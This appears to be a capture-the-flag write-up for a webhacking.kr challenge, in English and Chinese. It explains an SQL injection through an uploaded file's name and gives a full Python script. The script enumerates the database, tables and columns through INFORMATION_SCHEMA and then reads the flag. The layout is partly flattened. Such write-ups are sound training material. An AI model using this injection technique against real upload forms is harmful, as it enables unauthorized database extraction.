Challenge
Extract the flag from another table through the uploaded filename.
利用上传文件名从另一张表提取 flag。
https://webhacking.kr/challenge/web-14/Analysis
上传请求的 multipart filename 被直接写入 SQL。页面显示字段顺序是 time | ip | file,但 INSERT 的值顺序是 file, time, ip。文件名中的单引号可以结束第一个 file 值,然后追加第二行 INSERT,把子查询结果写进列表可见的文件名列;末尾的 # 注释掉原查询余下部分。列表只显示当前客户端 IP 的记录,因此三处 IP 值必须与当前页面显示的地址一致。
Solution
下面的完整脚本用同一个 multipart 请求发送每个 filename payload。CLIENT_IP 必须替换为题目页面显示的当前客户端地址;它是请求环境值,不是 flag。
#!/usr/bin/env python3import requests
BASE_URL = "http://webhacking.kr:10004/"CLIENT_IP = "<client-ip>"
def filename_for(expression: str) -> str: return ( "abc',123,'{ip}')," "((SELECT {expression}),123,'{ip}')#" ).format(ip=CLIENT_IP, expression=expression)
def upload_and_print(session: requests.Session, expression: str) -> None: filename = filename_for(expression) response = session.post( BASE_URL, files={ "upfile": (filename, b"", "application/octet-stream"), }, timeout=20,13 collapsed lines
) response.raise_for_status() print(response.text)
def main() -> None: session = requests.Session() upload_and_print(session, "DATABASE()") upload_and_print( session, "GROUP_CONCAT(TABLE_NAME) FROM INFORMATION_SCHEMA.TABLES " "WHERE TABLE_SCHEMA='chall29'", ) upload_and_print( session, "GROUP_CONCAT(COLUMN_NAME) FROM INFORMATION_SCHEMA.COLUMNS " "WHERE TABLE_NAME='flag_congratz'", ) upload_and_print(session, "flag FROM flag_congratz")
if __name__ == "__main__": main()查询顺序是数据库名、表名、列名、flag。读取 flag 后填入认证表单。
CLIENT_IP 和题目端口的记录筛选都与当前请求环境绑定;先读取页面显示的地址再运行,否则插入的记录可能不会回显。